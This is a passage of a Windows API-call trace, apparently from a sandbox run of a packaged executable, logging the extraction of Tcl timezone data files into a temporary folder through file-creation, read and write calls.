MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc") returned 60 [0042.234] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.234] GetFileType (hFile=0x10c) returned 0x1 [0042.234] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.235] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.235] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.235] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.235] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.235] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.235] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.235] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.235] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.235] CloseHandle (hObject=0x10c) returned 1 [0042.235] GetLastError () returned 0x0 [0042.235] SetLastError (dwErrCode=0x0) [0042.235] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\Universal") returned 70 [0042.235] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\Universal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\universal"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.235] GetLastError () returned 0x2 [0042.235] SetLastError (dwErrCode=0x2) [0042.235] GetLastError () returned 0x2 [0042.235] SetLastError (dwErrCode=0x2) [0042.235] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\Universal", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\Universal", lpFilePart=0x0) returned 0x45 [0042.235] GetLastError () returned 0x2 [0042.235] SetLastError (dwErrCode=0x2) [0042.235] GetLastError () returned 0x2 [0042.235] SetLastError (dwErrCode=0x2) [0042.235] GetLastError () returned 0x2 [0042.235] SetLastError (dwErrCode=0x2) [0042.235] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\Universal") returned 70 [0042.235] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.235] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\Universal" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\universal"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.236] GetFileType (hFile=0x10c) returned 0x1 [0042.236] htonl (hostlong=0x9e000000) returned 0x9e [0042.236] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.236] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x9e, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x9e, lpOverlapped=0x0) returned 1 [0042.237] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.237] CloseHandle (hObject=0x10c) returned 1 [0042.237] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.237] htonl (hostlong=0x30000000) returned 0x30 [0042.237] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.237] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.237] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.237] GetFileType (hFile=0x10c) returned 0x1 [0042.237] htonl (hostlong=0xe6c35b00) returned 0x5bc3e6 [0042.237] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6073e6, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.237] htonl (hostlong=0x82000000) returned 0x82 [0042.237] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x82) returned 0x55cfe0 [0042.237] htonl (hostlong=0x82000000) returned 0x82 [0042.237] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.237] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.237] htonl (hostlong=0x99000000) returned 0x99 [0042.237] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x99) returned 0x550600 [0042.237] htonl (hostlong=0x82000000) returned 0x82 [0042.237] htonl (hostlong=0x99000000) returned 0x99 [0042.238] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.238] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.238] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.238] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.238] CloseHandle (hObject=0x10c) returned 1 [0042.238] GetLastError () returned 0x0 [0042.238] SetLastError (dwErrCode=0x0) [0042.238] GetLastError () returned 0x0 [0042.238] SetLastError (dwErrCode=0x0) [0042.238] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.238] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.238] GetFileType (hFile=0x10c) returned 0x1 [0042.238] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.238] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.238] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.238] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.238] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.238] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.238] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.238] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.238] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.238] CloseHandle (hObject=0x10c) returned 1 [0042.238] GetLastError () returned 0x0 [0042.238] SetLastError (dwErrCode=0x0) [0042.238] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.238] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.239] GetFileType (hFile=0x10c) returned 0x1 [0042.239] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.239] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.239] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.239] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.239] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.239] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.239] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.239] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.239] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.239] CloseHandle (hObject=0x10c) returned 1 [0042.239] GetLastError () returned 0x0 [0042.239] SetLastError (dwErrCode=0x0) [0042.239] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc") returned 60 [0042.239] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.239] GetFileType (hFile=0x10c) returned 0x1 [0042.239] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.239] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.239] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.239] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.239] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.239] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.239] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.239] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.239] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.239] CloseHandle (hObject=0x10c) returned 1 [0042.240] GetLastError () returned 0x0 [0042.240] SetLastError (dwErrCode=0x0) [0042.240] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\Zulu") returned 65 [0042.240] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\Zulu" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\zulu"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.240] GetLastError () returned 0x2 [0042.240] SetLastError (dwErrCode=0x2) [0042.240] GetLastError () returned 0x2 [0042.240] SetLastError (dwErrCode=0x2) [0042.240] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\Zulu", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\Zulu", lpFilePart=0x0) returned 0x40 [0042.240] GetLastError () returned 0x2 [0042.240] SetLastError (dwErrCode=0x2) [0042.240] GetLastError () returned 0x2 [0042.240] SetLastError (dwErrCode=0x2) [0042.240] GetLastError () returned 0x2 [0042.240] SetLastError (dwErrCode=0x2) [0042.240] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\Zulu") returned 65 [0042.240] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.240] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\Zulu" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\zulu"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.240] GetFileType (hFile=0x10c) returned 0x1 [0042.240] htonl (hostlong=0x99000000) returned 0x99 [0042.240] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.240] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x99, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x99, lpOverlapped=0x0) returned 1 [0042.241] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.241] CloseHandle (hObject=0x10c) returned 1 [0042.241] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.242] htonl (hostlong=0x30000000) returned 0x30 [0042.242] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.242] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.242] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.242] GetFileType (hFile=0x10c) returned 0x1 [0042.242] htonl (hostlong=0x68c45b00) returned 0x5bc468 [0042.242] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x607468, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.242] htonl (hostlong=0x2e070000) returned 0x72e [0042.242] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x72e) returned 0x55e278 [0042.242] htonl (hostlong=0x2e070000) returned 0x72e [0042.242] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.242] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.242] htonl (hostlong=0x4f220000) returned 0x224f [0042.242] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x224f) returned 0x561090 [0042.242] htonl (hostlong=0x2e070000) returned 0x72e [0042.242] htonl (hostlong=0x4f220000) returned 0x224f [0042.242] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5632e8 [0042.242] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5632e8 | out: hHeap=0x530000) returned 1 [0042.242] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0042.242] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.242] CloseHandle (hObject=0x10c) returned 1 [0042.242] GetLastError () returned 0x0 [0042.242] SetLastError (dwErrCode=0x0) [0042.242] GetLastError () returned 0x0 [0042.242] SetLastError (dwErrCode=0x0) [0042.242] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.242] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.243] GetFileType (hFile=0x10c) returned 0x1 [0042.243] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.243] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.243] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.243] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.243] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.243] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.243] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.243] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.243] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.243] CloseHandle (hObject=0x10c) returned 1 [0042.243] GetLastError () returned 0x0 [0042.243] SetLastError (dwErrCode=0x0) [0042.243] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.243] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.243] GetFileType (hFile=0x10c) returned 0x1 [0042.243] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.243] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.243] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.243] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.243] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.243] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.243] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.243] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.244] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.244] CloseHandle (hObject=0x10c) returned 1 [0042.244] GetLastError () returned 0x0 [0042.244] SetLastError (dwErrCode=0x0) [0042.244] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.244] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.244] GetLastError () returned 0x2 [0042.244] SetLastError (dwErrCode=0x2) [0042.244] GetLastError () returned 0x2 [0042.244] SetLastError (dwErrCode=0x2) [0042.244] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe", lpFilePart=0x0) returned 0x3e [0042.244] GetLastError () returned 0x2 [0042.244] SetLastError (dwErrCode=0x2) [0042.244] GetLastError () returned 0x2 [0042.244] SetLastError (dwErrCode=0x2) [0042.244] GetLastError () returned 0x2 [0042.244] SetLastError (dwErrCode=0x2) [0042.244] CreateDirectoryW 